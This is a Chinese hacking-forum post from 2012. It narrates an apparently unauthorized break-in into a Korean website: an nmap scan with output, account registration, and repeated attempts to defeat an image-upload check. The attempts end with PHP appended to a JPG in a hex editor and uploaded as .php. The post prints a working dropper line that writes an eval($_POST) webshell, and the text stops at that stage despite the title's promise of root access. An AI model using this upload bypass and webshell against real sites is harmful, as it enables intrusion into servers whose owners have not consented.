特殊的php上传漏洞到获取linuxroot

[复制链接]
查看1275 | 回复0 | 2012-4-1 19:26:19 | 显示全部楼层 |阅读模式
  我现在是不怎么喜欢搞站的,偶尔搞搞也是搞点新鲜的玩玩,怕荒废了,最近几年主要还是研究逆向和漏洞方面的东西,不过这鸟人唐僧似的骚扰法整的我实在“心神不宁”,又不好意思拒绝,勉强帮忙看一下吧。过程如下:
  首先用nmap检测一下目标网站的系统服务和一些端口banner的信息。
  Nmap-v-sT-sV-O-P0-oXtest.xml***.kr
  21/tcp  open    ftp        ProFTPD
  22/tcp  open    ssh        OpenSSH4.3(protocol2.0)
  25/tcp  open    smtp        Sendmail8.13.8/8.13.8
  53/tcp  open    domain      ISCBIND9.3.4-P1
  80/tcp  open    http        Apachehttpd
  135/tcp  filteredmsrpc
  136/tcp  filteredprofile
  137/tcp  filterednetbios-ns
  138/tcp  filterednetbios-dgm
  139/tcp  filterednetbios-ssn
  445/tcp  filteredmicrosoft-ds
  593/tcp  filteredhttp-rpc-epmap
  623/tcp  filteredunknown
  664/tcp  filteredunknown
  873/tcp  open    rsync        (protocolversion29)
  3306/tcpopen    mysql      MySQL4.0.27
  4444/tcpfilteredkrb524
  5000/tcpopen    tcpwrapped
  8080/tcpopen    http        ApacheTomcat/CoyoteJSPengine1.1
  ServiceInfo:Host:****.com;OS:Unix
  还有一部分信息我省略了,免得占用太多篇幅,从上面的探测结果来分析,这系统显然不会是windows了,没有太大的直接利用价值,应该不会有弱口令或溢出一类的,虽然棒子比较懒,但这么弱智的还是少,一般会发生在windows的服务器上,下面就该看网站上的信息了。
  网站是由一套php程序组成的,我对程序鉴别不是很在行,所以也不知道是否开源,是否有漏洞,那么我就先从google搜索关键字allinurl:.phpsite:***.kr来搜寻php的页面,把google的链接放到类似于管中窥豹的这类工具中扫描,结果不出所料,一个注入点也扫不到。用webvulnerabilityscanner来扫描了解下网站的整体架构。一般看了扫描结果基本对网站的整体框架就会有一定的了解,然后从中搜寻入手点。
  在主页上我看到有一个登陆界面,我喜欢先找上传方面的问题,有可以同网站交互的地方,就可能存在着隐患,所以我现在注册一个账户并且登陆进去。之后再主页上找到了一个类似论坛或交流版的地方,可以发帖子,发帖功能中可以上传附件,这里就是通向webshell的桥梁,但这个桥并不是那么好过。1:

webshell

webshell

  选择要上传的图片后,自动就传上去了,这个省事,省着我去点上传了,图片上传好后点确定,从编辑窗口中修改编辑格式为text就可以看到上传后的地址<IMG src="http://***.kr/data/geditor/0907/1008362430_3a017577_logo.gif">现在我试着伪造一个gif文件头的php木马来上传。效果2

text

text

  上传失败。即使后缀为gif也失败,这个上传功能看来要验证完整的图片才可以。必须要换个方法,现在使用jpginject程序来把php一句话木马注入到jpg文件中,注意这个工具只能把代码注入jpg格式的图片,不支持png以及gif(原理上来说应该可以,只不过工具打不开非jpg格式图片)。使用格式为edjpgcom.exe要注入的jpg图片,然后会弹出3的窗口:

edjpgcom

edjpgcom

  把代码写入里面,点OK就可以了,现在那个图片中就被注入了php一句话木马。那个挑勾的deletebackup选项的意思是问是否删除备份,如果不选择的话会在当前目录生成一个后缀bak的备份文件,这个选还是不选就看自己的需要了。现在把处理过的jpg文件后缀修改为php然后上传。结果4

一句话木马

一句话木马

  依然无效,看来这个工具并不适合在这里利用,可能本地包含漏洞可以试试这个(milw0rm上的录像用的就是这个工具配合本地文件包含)。现在再换一种方法,使用c32asm以16进制显示方式打开这个图片文件,在文件末尾加上php一句话代码(5),尽量在php代码前面在加个空格,因为有些时候如果不加空格,"<"符号会与前面的字符发生冲突。现在把插入一句话的jpg文件后缀改成php上传上去。

milw0rm

milw0rm

  结果6

c32asm

c32asm

  上传成功,<IMG src="http://***.kr/data/geditor/0907/1008362430_6e48f460_logo.php">我们用一句话客户端访问,可是结果7

一句话客户端

一句话客户端

  并没有返回我所希望的结果,将图片下载下来后用文本查看,看不到php代码,我还以为上传过程中将恶意代码过滤了,理论上来说那就是执行了,我们上传后的文件是以php解析的,应该是经执行了,后来我将这个文件放到我自己的php环境中测试发现,并没有将我们的代码过滤,那么就是执行了。既然一句话木马达不到我们的目的,我们就再换最后一个方式。依然是使用刚才的图片,用c32asm以16进制格式编辑,在文件末尾处删除掉刚刚的一句话代码,换成下面这段代码:
  <?fputs(fopen("sunwear.php","w"),"<?eval(\$_POST[sunwear]);?>")?>保存为php文件上传。这段代码的意思是在当前目录下生成一个名为sunwear.php的文件,内容是我们的一句话木马。上传后访问该地址,在然后我们试试用一句话客户端连接这个地址同目录下的sunwear.php密码sunwear8

sunwear8

sunwear8
发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则